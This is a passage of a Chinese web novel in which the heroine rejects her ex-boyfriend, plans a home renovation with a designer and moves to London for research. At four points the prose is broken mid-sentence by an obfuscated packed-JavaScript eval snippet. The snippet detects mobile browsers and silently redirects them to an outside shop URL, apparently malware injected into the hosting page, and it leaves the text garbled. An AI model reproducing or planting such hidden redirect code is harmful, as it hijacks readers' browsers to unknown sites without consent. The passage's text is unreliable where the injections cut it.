黎尚轩正觉得说了那么多话有些口干舌燥,没想到马上就有一杯凉开水递到眼前了。他惊讶之余又有些感动:“多谢,我正觉得渴呢。” 段黛笑了笑,在沙发上离他不远不近的一个位置坐了下来,解锁了手机点开翻看着。 黎尚轩小口小口地喝着水,喉结随着吞咽的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13544247|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动作上下滚动着。段黛无意间看过去,莫名觉得他喝水的样子…… 在斯文之中好像还带点色气? 段黛被自己的想法逗笑了。她轻轻地摇了摇头,继续看着手机。 黎尚轩直接把一整杯水都喝完了,看来是真渴了。段黛提前把水壶拿到了桌上,便又给他倒了一杯。黎尚轩连连道谢,喝过一口后拿起笔来,继续在平板上写写画画。 “以后会买台式电脑吗?” “应该不会。” “……” 电容笔的笔尖摩擦着贴在平板上的纸膜,发出来的声音像是真的在用笔写字一般。黎尚轩整理着自己方才因为速记而写的歪七八扭的字迹,随口道:“你买的那个小区位置还挺不错的,我都有些心动了。” 段黛笑道:“那你也可以买一套啊,到时候我们又是在一个小区了。” 黎尚轩也笑了:“我还真有过这个想法。不过……” 段黛抬眸:“不过?” 黎尚轩:“我一个人住,用不着住那么大面积的。你是居家办公,面积买大一些也是为了工作方便。像我这种就用不上了。” “那倒也是,”段黛笑了笑,“小房子也有小房子的好处。” 段黛如今回忆起来,其实自己从前也并没有多么想要很大的房子的,她觉得有个能放下自己所有书的地方就好了。不过可能是因为看到了父母给哥哥买的房子的房产证,心里堵了一口气,于是就买了一个面积更大地段更好的。 更重要的是——她现在有钱了。 以前憋屈是因为没钱,现在都有钱了,干什么还要给自己找委屈受? 黎尚轩挠了挠头:“不过好像那个小区也有面积不那么大的楼,之后我也多看看。想了想都租了这么多年房子了,也该买房了。” 段黛的唇角微微上扬:“那就祝你顺利买到合心意的房子吧。” 黎尚轩笑道:“借你吉言。” 所有细节都聊清楚后,黎尚轩把平板收到了包里。他站起身来,对段黛道:“那我就先回去画设计图了,完成之后会发给你,到时候我们再做具体改动。” 段黛也站了起来:“好,那就辛苦黎设计师了。” 她送黎尚轩出去。说是送,其实也没走几步,就是从没有多大小的客厅的这一头送到了另一头的门外而已。黎尚轩换了鞋之后推开防盗门出去,按下电梯的下行键后转头对她道:“不用送啦。” 段黛点了点头。 电梯恰好在这时到达。那边电梯门徐徐开启,这边段黛也将防盗门缓缓合上。 然而下一瞬,她听到了陈方烨的声音。 “你是谁?” 段黛关门的动作一顿。 她重新推开门,只看到自她撤出林深后就再没见过面的陈方烨正站在电梯里,和外面的黎尚轩大眼瞪小眼。 “你从段黛家出来的?”陈方烨一脸的难以置信,“你是谁?” 33. 你没有自己的事情做吗? 段黛顺手从玄关的开放格里抄起了打孔钳,推开门看着陈方烨:“你来干什么?” 陈方烨指着黎尚轩,一脸不可思议地看着段黛:“他怎么从你家出来!他是谁!” 黎尚轩:“……我们是不是见过?怎么感觉你有点面熟……” 段黛摆了摆手:“就咱们第一次见面那天,那个流氓的外甥过来处理事情,这就是那个流氓的外甥。” 黎尚轩当即警惕了起来,迈开一步挡在段黛门前:“你是来报复的?” 陈方烨这才意识到眼前的人似乎就是那天陪着段黛一起出现在派出所的“目击证人”。但陈方烨完全没想到段黛居然用这种方式介绍他,当即喊道:“那件事都过去多久了你还揪着不放……不对,我们怎么可能只是凶手家属和受害人的关系?你告诉他我是你什么人?” 段黛无奈叹气,斟酌片刻,道:“前公司的同事。” 黎尚轩:“都前公司的同事了……” 陈方烨难以置信:“你竟然说我们只是同事?” 段黛:“现在不是了,因为我撤资走了。” 黎尚轩看了看陈方烨,又回头看了看段黛,有些迟疑:“……我觉得我还是暂时别走的好。” “没事的,”段黛对他道,“我自己能处理好,你的工作已经结束了。” 陈方烨看着他们那互相都为对方着想的样子,浑身的血液都冲向了脑门:“你搞清楚你是我的女……” 段黛推着黎尚轩进了电梯:“这是我的私事,放心。” 黎尚轩无法,只得顺着她道:“那你如果需要帮忙一定发消息给我……” 没有人分一个眼神给陈方烨。 他莫名想起了从前的一件事。那天是鹿颖生日,他便推了原本要和段黛一起看电影的日程,转而去给鹿颖庆生。没想到段黛不知怎的找到了他们的位置,冲到他面前问鹿颖她是谁。 那是鹿颖第一次知道段黛的存在。 鹿颖很好奇地问他:“这位是?” 陈方烨眼神躲闪:“她是……我同学。” 段黛当即面色惨白:“你竟然说我们只是同学……” 其他人叫着要赶下一场,陈方烨当时便陪着鹿颖一起走了,独留段黛一人在原地神伤。 陈方烨心底兀的升起一股冷意。这是什么意思?她是在提醒自己曾经做过的事? 电梯门关上,黎尚轩离开了。陈方烨当即开口:“你是在报复我吗?” “咔”的一声,段黛把门关上了。她迈了两步上了楼梯,在其中一阶坐下:“你又来干什么?我不是说了有事发消息就好了吗?” 段黛的神色似是根本不记得那些陈年往事,更遑论是故意用同样的套路来攻击他了。陈方烨内心刺痛:“你为什么只说我们是同事?你为什么不告诉他我是你的男朋友!你移情别恋了吗!” 段黛却是一脸奇怪地看着他:“男朋友?我们不是早就分了吗?这都过去几个月了,你现在说这些干什么?” 陈方烨瞪大了眼睛:“我们什么时候分的?我怎么不知道!” 段黛挠了挠头:“就上次你说分手的时候啊,后来你不是还给我拉黑了么,我当时同意了,不过你拒收消息也没看见。但是既然拉黑了那应该也就是默认吧……再说了谁家正常男女朋友会好几天不说话啊,你怎么会以为我们还没分的?” 陈方烨懵了一瞬。他的大脑一片空白,完全不记得自己到底是什么时候和段黛说的分手。他随口提分手的次数太多了,但没有一次是出于真心的。 “我那只是气话……” “拉黑默认分手,不是吗?”段黛不耐烦道,“你下次再这样一声不吭地跑来我家门口堵我,我就报警了。” 陈方烨看了一眼紧闭的大门:“所以你宁愿坐在台阶上都不愿意让我进去?刚才那个人为什么来你家!” 段黛语气淡漠:“你有什么资格问这么多。你来这做什么的?有事说事。” “……” 陈方烨颓然地坐在地上:“你为什么不回我消息。” 段黛:“你还发了什么消息?” 陈方烨猛地抬头:“你没收到?不可能!” 段黛摸出手机来,找到陈方烨的聊天框后点了进去。里面铺天盖地的全是新消息,有陈方烨看到了什么搞笑视频的分享,有暗示她自己想要什么生日礼物,还有抱怨她要的太多,现在自己只能把母亲送回家,自己在公司打地铺…… 从那天交回公章后,段黛就再没回过他任何一条消息。他一开始卖惨埋怨段黛做的太过,后来又缓和了语气,假惺惺地说她想回来的话随时都可以回来。前一阵子公司经营不善出现了危机,他对段黛道:“好像自从你走之后,我做什么都做不好了。” 即便段黛已经这么多天没有回过他了,他还是期待着她能像过去一样给他加油鼓劲。 当然回应他的只有一片虚无。 那一瞬间陈方烨忽然就崩溃了,他抱着手机泣不成声。手指点在聊天记录上,再往前翻几页就是完全反过来的情况:段黛发了一堆消息给他,但他只会偶尔回上一句。 是他,把之前那个深爱他的段黛弄丢了。 你为什么不回消息? 为什么不理我? 你真的……已经不在乎我了吗? 段黛看着手机“啊”了一声:“我把你屏蔽了,难怪没看到。” “你又屏蔽我!” 段黛叹了口气:“你真的太烦了,我不想看你吐黑泥,对你分享的东西也完全不感兴趣。你的分享欲太过火了,我看到那么多未读消息只觉得窒息。而且我们已经分手了,没有什么重要的事就不要联系了,很难理解吗?” 陈方烨张了张嘴,再开口时竟有些哽咽:“你……我……就算分手了也是朋友吧?” “如果我们依然有合作关系的话,我会说是的。但是现在我已经离开林深了,我们以后应该是不会有什么工作上的交流,所以,”段黛抱着手臂,居高临下地看着他,“这个时候合格的前任就应该像死了一样。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552679|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈方烨苦笑:“你是嫌我没有和鹿颖划清界限吗?我和她真的没有什么,虽然分手了但我们到底有这么多年的情谊……” 段黛不耐烦地摆了摆手:“随便,没必要跟我解释。放心,如果之后我们真的有工作上的合作我也会公事公办的,不过出现这种情况的概率很低就是了。没事的话你就回去吧。” 陈方烨慢慢站了起来,拍掉了裤子上的灰。沉默片刻,他道:“连日常闲聊都不行吗?” 段黛不假思索:“我不喜欢闲聊,很耽误时间。我再说最后一次,不要把你的生活分享给我,不要找我吐黑泥,我不感兴趣,我真的很烦这些。明白了吗?” 陈方烨还是不甘心:“刚才那个人为什么来你家!我都算陌生人了,那他是什么!” 段黛:“他来我家是因为工作上的事。” 陈方烨:“你什么工作我还不清楚吗!除了那个编辑谁还会来你家找你!怎么,他是你的新责编?” 段黛:“你不懂,说了你也不知道。” 她抚摸着手里那把打孔钳,缓缓道:“这就是当时在你舅舅嘴里打出两个孔的东西。你知道吗?” “……” 提到舅舅,陈方烨忽然打了个寒颤。他愣愣地盯着段黛手里那把打孔钳,不知是想到了什么,一种细密的惶恐爬便全身。 抬起头来,他突然看到下面的楼道转角处探出了一个头。 是黎尚轩。 他还没走,一直呆在这里。 而此时此刻,黎尚轩就站在那里,抬起头来默默注视着他。陈方烨抬头看到坐在台阶上的段黛,低头看到楼道转角处的黎尚轩,惊奇的发现两人板起脸来面无表情的样子一模一样,甚至叫他萌生出一种“这就是夫妻相”的荒谬想法。 这个画面实在是太过诡异。陈方烨僵硬地转过身来,按了电梯。 “那我走了。” 没有任何人说话。 在死一般的寂静中,陈方烨逃也似地离开了这里。 从一楼出来时,他再也忍不住了,眼泪争先恐后地从眼眶里淌了下来。那不是他的段黛,那个全心全意爱着他,对他体贴入微的段黛已经消失了。 是他把她弄丢了。 看着显示屏上的数字变成了“1”,段黛站起身来,扶着栏杆向下看了一眼,果然对上了黎尚轩的眼睛:“现在可以回去了吧?” 黎尚轩慢慢走了上来:“你知道我没走啊。” 段黛拍了拍衣服上的灰尘:“刚刚你下去的时候,电梯到下一层就停了,我就知道你根本没出去。” 虽说段黛的战绩斐然,但黎尚轩也不放心让她面对这样的情况,所以进了电梯后就按了下一层,接着从楼道里走了上来,一直听着上面的情况。万一真有什么事情发生,他也好第一时间上前帮忙,甚至报警。 段黛笑了笑:“多谢你的关心。” 黎尚轩重新回到电梯:“这次是真的走了。” 段黛:“再见。” 黎尚轩:“再见。” 34. 杯子收藏家 黎尚轩出图非常迅速,很快就画了几版效果图出来。段黛拿着手机挨个看了一下,最终选定了其中一个方案:【就这个吧。】 黎尚轩:【那明天我们见面聊一下具体的细节,没什么问题的话就签合同吧。】 段黛:【好。我们去哪见?】 黎尚轩:【去我办公室吧。】 段黛:【行。几点?】 黎尚轩:【我看看……】 黎尚轩:【九点半怎么样?】 段黛:【行。】 黎尚轩:【突然想到我们其实住在一个小区,明天一起出发?】 段黛发了个“OK”的手势:【那九点在小区门口见吧。】 黎尚轩:【好。】 第二天早上八点五十的时候,段黛就穿戴整齐出门了。她扎了个马尾辫,穿着白色短袖衬衫和黑色长裤,慢悠悠地向着小区大门走去。 巧妙的是黎尚轩也在这个时候出来了。老远段黛就看到了他的黑衬衣和黑西装裤,走近了之后还能看到他打的领带。见到人时他招了招手,段黛也伸出手来向他挥了挥。 他们都恰好提前五分钟到了小区门口。 地铁上的人不算多,两人很轻松地找到了位置。段黛坐在他的对面,看着他身上的这套固定穿搭,开口道:“你是买了好几件一模一样的衣服吗?” 黎尚轩抬头:“你怎么知道?” 段黛不由得笑了:“我看你总是穿这一套,黑衬衣加西装裤,好像只有领带会变。” 黎尚轩有些不好意思:“平时盯装修进度的时候我一般比较随意,但和客户见面的话多少要穿的正式一些。刚工作的时候我是板板正正地穿着西装的,可是冬天还好,夏天就……” 段黛:“西装还有个外套,夏天太热了。” 黎尚轩连连点头:“于是我就去掉了外套,改成了白衬衣西装裤再打个领带。但是好多人说我这看着像……像中介。” 段黛“噗嗤”一声:“你别说,还真是。” 黎尚轩也笑:“后来我发现黑衬衣是个好东西,不像白衬衣那么死板,但也比较正式。所以我一口气买了好多黑衬衣,长袖短袖都有。” 说完后黎尚轩道:“你居然能猜到我是买了好多一模一样的衣服,同事都以为我是不换衣服呢。” 段黛倚靠在车座旁边贴着广告的扶手上:“因为我也会买很多一模一样的衣服换着穿。” 段黛不太擅长研究穿搭,之前上学的时候经常穿的很“恶心”的就去上课了。有时候她误打误撞搭配出一套看起来还不错的穿搭,之后她就会按照这个模板疯狂买差不多的衣服。 黎尚轩感慨:“居然碰到同道中人了。” 半个小时后两人出了地铁站。这次再一起走时倒是没那么尴尬了,黎尚轩讲着他对装修中一些具体内容的想法,然后问段黛的意见。段黛虽然也稍微做过一些功课,但到底还是有盲区。黎尚轩这时会用一种简单粗暴的方式说明不同的情况,方便段黛理解后做出选择。 说着说着他们就到了公司,黎尚轩带着段黛上了电梯,上楼之后走过一条长长的走廊,打开一扇看起来平平无奇的黑色大门,段黛看到了他的办公室。 黎尚轩的办公室还是挺大的,和临译社编辑室差不多大小的房间只供他一人使用。办公用桌子上放着原始配置的台式电脑,除此之外只有一个纸抽和一只保温杯。靠着墙放了一个带着玻璃柜门的原木书柜,里面的书塞得整整齐齐。另一张桌子上堆了好些房屋设计的模型和原材料,算是整个办公室里唯一凌乱的地方。 进门之后黎尚轩就迅速打开放在茶几上的烧水壶,接着对段黛道:“你先坐,我找找还有没有茶叶了。” 段黛哭笑不得:“不用那么麻烦,喝水就可以了。” 黎尚轩端出来一套极其精致的雕花茶具,每一只杯子都色彩绚丽:“其实我还挺喜欢泡茶的……” 段黛有些诧异地拿起其中一只杯子,仔细端详了一番后道:“你喜欢喝茶啊。” 感觉这个喜好还……挺养生的。 黎尚轩熟练地找出茶叶来放到茶壶里:“茶和咖啡我都挺喜欢的,我还收集了不少杯子呢。” 等待水烧开时,黎尚轩拉开其中一个柜子:“这里面都是咖啡杯。” 然后又打开了另一个柜门:“这里面都是茶具。” 看到里面琳琅满目光怪陆离的杯子,段黛震惊地瞪大了眼睛:“这么多啊。” 黎尚轩点了点头,神色中有些骄傲。 段黛回忆了一下看过的设计图,恍然大悟:“难怪你设计的咖啡角还有个专门放杯子的柜子……” 黎尚轩不好意思地笑了笑:“稍微……夹带了一些私货,哈哈。” 袅袅热气飘到空中,澄澈的茶水倒入精致小巧的杯子,推到了段黛面前。 她拿起杯子时,黎尚轩提醒道:“小心烫。” “……多谢。” 茶泡好了,黎尚轩这才坐到沙发上。 他先对着效果图解释了一下,接着又拿出了平面图来说具体的情况。段黛也说了一些她想要修改的地方,黎尚轩拔开笔帽,直接在平面图上画上线。 在两人的讨论下,最终得出的方案上细化了许多内容,把新房子的每一寸都安排的明明白白。 细节都到位之后,两人又到了办公桌前。黎尚轩拖了个椅子来给段黛坐,自己打开电脑,修改之前建好的模型。 “按照你刚才说的,改出来之后的效果就是……这样的。” 黎尚轩给她展示了一下立体的效果。 “感觉怎么样?” 看着电脑里的建模里,段黛已经能看到新家的模样了。她点了点头:“挺好的,就按照这个来吧。” 黎尚轩点头:“那我们签合同吧。” 合同签好,段黛支付了一笔定金。黎尚轩联系好了公司的装修团队,安排下各种工作。 当天下午,一众人来到了毛坯房那里,忙活了一通后办了个简单的开工仪式。 段黛上了香,黎尚轩拉响了手里的小拉炮,五颜六色的彩带立刻飞得到处都是。 工人们纷纷道:“开工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565481|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大吉——” 随着一阵叮叮哐哐的砸墙声,工人们纷纷动工,装修正式开始了。 装修还在改水电的阶段,可段黛出国的日子越来越近了。趁着她还在国内,黎尚轩带着她快速看过了他预计会使用的各种材料,把自己能想到的内容都尽可能提前找到,并过问段黛的意见。 段黛一边忙着看汇率变动兑换国外需要用的货币,一边还要跑上跑下去各个店铺看样品,忙的是头晕眼花。 出国前一天,段黛和黎尚轩看完了瓷砖后,一起坐上了回家的地铁。 她靠在座位上揉着脑袋:“装修真是个大工程啊,累死我了。” 黎尚轩笑了起来:“本来是不用那么着急的,但毕竟你明天就出发了嘛,在这之前得把能想到的事情都想到才行。所有事情都压缩在这段时间里,难怪累了。” 段黛呼出一口气:“之后就要拜托你了。” 黎尚轩身上的衣服已经从最开始的正装换成了工装,可见常去“工地现场”。他也学着段黛的样子靠在座位上:“放心,这流程我熟。” 从地铁站出来后,两人以一种不远不近的距离并排走着。 快到小区门口时,段黛开口道:“明天我就走了,你有什么想要的东西吗?” 黎尚轩大脑空白了一瞬,随后道:“不用了,我好像……也没有什么很想要的。” 段黛笑了笑:“好,我知道了。” 第二天段黛一大早爬起来,检查了一下证件之后,拎着行李箱就去了机场。 等待登机的时候,她看到赵玉兰给她发消息:【你哥哥还是辞职了,唉。】 段墨到底是追求他的梦想去了啊。 段黛笑了笑,当做没看见。 过了五分钟,赵玉兰见她一直没回消息,又发了一条:【最近在忙什么呢,怎么也不来这吃饭了。】 赵玉兰:【我又看了那个房子,真的挺不错的,我已经替你租下来了。没事,我和你爸给你掏租金,你想什么时候搬都可以,不用着急的,我们帮你把房子占好了。】 赵玉兰:【等你不忙了来看看房子吧。】 提示登机的广播响起,段黛抬起头来,看到身边多出了不少金发碧眼的外国面孔。她笑了笑,发消息道:【我要出国了,等回国后再说吧。】 赵玉兰:【出国?什么时候?】 段黛:【现在。】 赵玉兰:【怎么一声不吭就走了?什么时候回来啊?】 段黛:【不一定,可能半年,可能三四年。】 段黛:【我登机了,先不聊了。妈妈再见。】 赵玉兰:【???】 她踏上了飞往异国的飞机,在找到座位扣好安全带之后就打开了手机的飞行模式。看着窗外渐渐出现的蓝天白云,段黛打了个哈欠。 起太早了,现在有点困。 飞机里的空调开的有些凉,段黛歪着头靠在一边,下意识摩挲裸露在外的手臂。 有空姐贴心地给她递了一条毛毯。 段黛接过毯子,对她笑道:“多谢。” 35. 被诅咒的调味 飞机行程有十六个小时,段黛睡了很久,似是要把这几天的劳累都通过这一觉补回来。睁开眼睛后段黛打了个哈欠,活动了一下胳膊伸了个懒腰。 “也不知道还有多久落地啊……” 她一边打着哈欠一边喃喃自语。 “还有不到四个小时。” 身侧竟然有人搭话,段黛一愣,紧接着转头,只见旁边的座位上坐着一个棕色头发皮肤很白的外国女生。女生穿着一件长袖卫衣,上面还有“至死不渝”四个大字。女生对她笑了笑,用非常标准的中文对她道:“我第一次见有人能睡这么久。” 段黛笑了笑:“这几天比较忙太累了,赶飞机又早起,太困了。” 说着她又活动了一下肩颈:“睡久了也不好,感觉浑身都不对劲。你中文很好哎。” 女生高兴道:“我在中国呆了四年了!要回家了还有点舍不得呢……” “是段黛吧?”一句英文突然冒了出来,段黛转头,只见外国女生的旁边还坐着一个棕色头发的外国男人。段黛盯着那男人看了一会儿,恍然大悟:“文森特!” 文森特,英国画家,早些年原主翻译过他的作品集,因此两人有过几面之缘。难怪方才段黛有种面熟的感觉,原来是因为他们早就认识。 文森特笑道:“真是巧啊,咱们也有一年没见了。我有本新的作品集也要出版了,之后说不定咱们还会合作呢。” 原主和文森特其实也只是点头之交,在翻译结束之后就没有什么来往了。不过在前往异国他乡的路上能遇到一个熟面孔,总归不是坏事。段黛道:“我都不知道你又来中国了。” “表哥来中国旅游,顺便接我回家。”女生插嘴解释。 段黛看了一眼女生又看了一眼文森特,略有些诧异。文森特介绍道:“这是我表妹,她的中文名字叫……” 文森特转头看向女生:“算了我不会中文,你来说吧。” 女生笑了起来:“我的中文名字叫方若水。” 上善若水。段黛听了之后咋舌,没想到外国人取中文名字也都开始引经据典了。 为了照顾不会中文的文森特,段黛说话一直用的英文,反而是方若水这个英国女生一直在说中文。 方若水一开始来中国是因为交换生项目,后来因为种种理由,干脆办了入学留了下来,中文也由此越来越顺溜。 毕业之后,方若水入职了一家初创公司。这家公司是做网文出海业务的,需要大量在国外的员工,恰好适合方若水这种喜欢中国又舍不得离家的人。 现在中国这边的业务已经做的差不多了,方若水也要回国处理那边的部分了。 段黛对此哭笑不得。无论是穿书前还是穿书后,她都能看到出版社对着“走出去”这三个字大做文章,绞尽脑汁想办法把国内的作品也输出到国外。实际上现在“走出去”的部分做的也很不错,但网文以一种非常狂野的方式始终遥遥领先,靠着机翻出来的外语已经在国外“荼毒”一大群人了。 前一阵子出了144小时免签政策,文森特便来中国旅游,顺便和自己的表妹一起回去,于是现在他们一起出现在了飞机上。 方若水热情道:“如果你感觉语言不通,可以找我做翻译呀!” 文森特笑道:“段黛本来就是翻译,放心好了。” 方若水这才知道段黛和自己表哥认识的缘由。得知段黛来英国是为了搜集资料后更高兴了:“之后我们可以互相帮助!” 一个对双语都精通的中国人对于正在做中文作品引进的方若水来说非常重要,而段黛找东西时免不了也需要当地人的帮助。二人一拍即合,当即加了联系方式。 扫了V信之后方若水有些伤感,看着窗外叹了口气:“唉,虽然回家很好,但还是舍不得中国啊。” 段黛道:“之后也可以去中国旅游嘛,听说开了什么144小时免签……” 方若水摇了摇头,一脸惆怅:“你知道吗,点外卖可以迅速送上门,出门拿着手机就能支付一切,甚至有些扫脸就能交钱……这种极其方便的日子……在我们上飞机的瞬间就结束了。” 段黛:“……” 这倒确实是。 冲着这个方便程度,段黛就根本没产生过移民国外的想法。 方若水扭头:“你带现金了吗?在英国有些地方还是需要你用现金交易的。” 段黛点头:“特意带了一些,大小面值的都有。” 方若水松了口气:“那就好。” 方若水极其开朗外向,剩下的这四个小时的航程就没让话掉在地上。下飞机后,方若水还在用中文滔滔不绝地讲着她看过的各种网文,段黛拍了拍她:“已经到伦敦了。入乡随俗,现在该说英语了。” “噢……对,对。” 换成英语后,几人没交流多久便要分道扬镳了。快离开时,文森特道:“我们一起合个影吧?我想发ins。” 段黛欣然同意。 于是方若水举起了手机,三人凑到一起,拍下了一张有些随意的照片。 “之后再联系呀。” “好。” 坐到出租车上后,段黛把刚才方若水拍了发给她的照片裁剪了一下调了个滤镜,发V博道:“来出差时偶遇了文森特,听说他的新作品集也要出版了。” 接着她打开V信,查看着未读消息。 黎尚轩在半个小时前给她发了消息,问她到了没有,那个时候正好是段黛飞机落地的时候,看来是根据航班时间发的消息。段黛回了他一个平安到达,接着又往下翻了翻。 段光耀和赵玉兰都给她发了消息,问她怎么出国也不提前和家里说一声。看清了他们的真面目后段黛只觉得释然,回复他们的消息也变得客气而疏离:【不是什么很重要的事情,就没打扰你们。】 一直没露头的段墨也发了消息来:【听爸妈说你又出国了?并且要待很长时间?】 段黛:【对。】 虽然伦敦这里还是白天,但这个时候国内应该已经很晚了。没想到段墨并没睡,还回了她的消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573834|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息:【你怎么去的机场,有人送你吗?】 段黛:【打车就好了。】 段墨:【你还在因为上次我没接你生气?】 段黛轻嗤一声,手指在手机屏幕上快速打着字:【不会。】 段墨:【那你为什么没叫我去送你?】 段黛:【指望你,可能赶不上飞机。国际航班很贵的。】 段墨哑口无言。 段黛忽然又想到一件事。 段墨是有车的。 当然这辆车也是父母掏钱买的。 她只想着当时家里人叫段墨来给她接机却放了她鸽子,却完全没想过为什么段墨能够给她接机。 思及此,段黛轻轻地笑了。 等回国之后,也给自己买辆车吧。 段黛来到之前预订好的酒店办理了入住。把所有行李都放好之后,由于饥肠辘辘,她在楼下超市里随便买了点吃的用来填饱肚子。 然后就发现东西真难吃。 “yue……” 段黛难以置信地看着手里的薯条。她也不是没来过英国,也知道英国人的味觉像是被诅咒了一样奇葩,所以她特意买的是全球通用的油炸食物,毕竟油炸食物是不会难吃的。但是为什么会有人在薯条上撒醋? 薯条倒也罢了,炸鱼吃起来是格外的震撼。特别是入口后的那种炸裂感,让段黛觉得临安的西湖醋鱼好像都变得好吃了起来。 那是醋吗?那是硫酸吧! 正在段黛对着食物天人交战的时候,黎尚轩发来了消息:【平安到达就好。现在你在哪呢,是住进酒店了吗?】 段黛擦了擦手指回消息:【对,刚刚办了入住,等明天再去租房子。】 段黛:【怎么还没睡呢?现在你们那边是半夜吧?】 黎尚轩:【刚刚和供应商扯皮,一直忙到现在。】 他看到手机里段黛发来的消息,莫名的有些开心。说着他发了一张拉面的照片:【我在吃夜宵呢。】 段黛其实对拉面并不感冒,但是看看自己眼前的像是被诅咒了一样的炸鱼薯条,黎尚轩的那碗拉面看起来就格外诱人。 她拍了一张自己正在吃的东西给他:【真巧,我也在吃东西。】 【英国菜真的,太!难!吃!了!】 黎尚轩发了个问号:【看着还行啊,油炸的东西也会难吃吗?】 段黛:【谁家薯条是蘸醋吃的啊?】 黎尚轩:【???蘸什么?】 段黛:【是的你没看错,是蘸醋吃。】 段黛:【我不明白,为什么有那么多的调味料,英国菜总是能选出最匪夷所思的组合来,然后将食材原本的怪味儿完美地放大。】 黎尚轩:【听你这么形容的,感觉英国菜的难吃都具象化了。】 段黛抚心长叹息:【难吃的我拔剑四顾心茫然。等租好房子之后我还是试着自己做饭吧。】 黎尚轩:【难怪留子都会做饭,看来是迫不得已啊。】 段黛:【谁说不是呢。】 36. 阁楼上的段黛 两人的闲聊并没有持续多久,很快黎尚轩就去睡觉了。段黛硬着头皮把买来的食物吃完,随后打开了地图,把原主曾经走过的地方一一做了标注。 她打开手机和平板,把地图在桌面上铺开,为接下来的日程做好计划。 第二天段黛就去看了房子,预备作为接下来这段时间她搜集资料与写稿子的住处。然而看了半天,她都没能找到一间合适的屋子,要么是房子有点问题,要么就是房东有点问题。 傍晚的时候,段黛不抱希望地来到最后一间阁楼。房东推开门的时候,两人都愣了一下。 “文森特?” “段黛?” 文森特的画室在这里,画室顶上的阁楼一直空置着,便想着要租出去。 没想到恰好碰到了到处找住处的段黛。 文森特给段黛展示了一下阁楼。整个屋子的色调都很暗,各种乱七八糟颇具艺术感的摆件有很多。带着床篷的床上挂了暗红色的床幔,看起来像是什么吸血鬼女王的床榻。 段黛一眼瞄到了她最需要的东西:冰箱、洗衣机、空调、微波炉。 还有她非常需要的写字台。 从画室通往阁楼的楼梯间已经锁上了,文森特却把那扇门打开了:“租给别人的话我是不会打开这里的,但是如果是你的话我觉得问题不大。” 段黛跟着他一起从楼梯间走了下去,进入了宽敞明亮但又有些混乱的画室。文森特指着旁边的厨房道:“阁楼里没有厨房,不过画室里有。你如果需要的话……可以来这里做饭。” 段黛捏了个指响:“那接下来几个月就打扰你了。” 两人很快签好了合同。文森特开车带着段黛把她的行李拉了过来:“接下来一段时间我应该不会在画室……我要去布莱德村采风。” “布莱德村?”段黛一脸意外,“我也打算去那里做现场调查的。” “这么巧?”文森特笑了起来,“那明天我们一起出发好了。” 安顿好之后,段黛又拍了个照片发V博:“谁能想到我接下来的办公地点就在文森特画室的楼上呢?” 配图是她在画面最前面露了半张脸,而文森特在最后面比了个剪刀手,露出一个有些憨的笑容。 陈方烨那天从段黛家离开后消沉了很久,直到打开V博刷到广场上的推送时才知道段黛现在在国外。 她这就出国了? 而他什么都不知道? 陈方烨气急,打开和段黛的聊天框:【你出国怎么也不和我说一声!】 消息发出的瞬间弹出了一个红色感叹号,手机还发出了一声有些刺耳的提示音,提醒他消息发送失败。陈方烨目瞪口呆,段黛居然把他拉黑了? 这也是段黛计算好的。先前她只是没回消息陈方烨就能找上门来,那贸然拉黑还不知道要出什么事。所以段黛特意等到出发当天才把陈方烨拖进黑名单,这样他再发疯也无所谓了。反正天高皇帝远,陈方烨连出国去见地址清晰的鹿颖都做不到,更别说来找地址不详的段黛了。 陈方烨瘫在椅子上,没想到自己也有被段黛拉黑的一天。 他莫名地很想缅怀这段感情,可点开聊天记录时才发现,由于自己总是动不动删人,导致他和段黛的聊天记录也是断断续续的,只有上次他们加回来之后到现在的记录还在。 他们恋爱这么多年,手机里剩的聊天记录连起来还不到两个月。 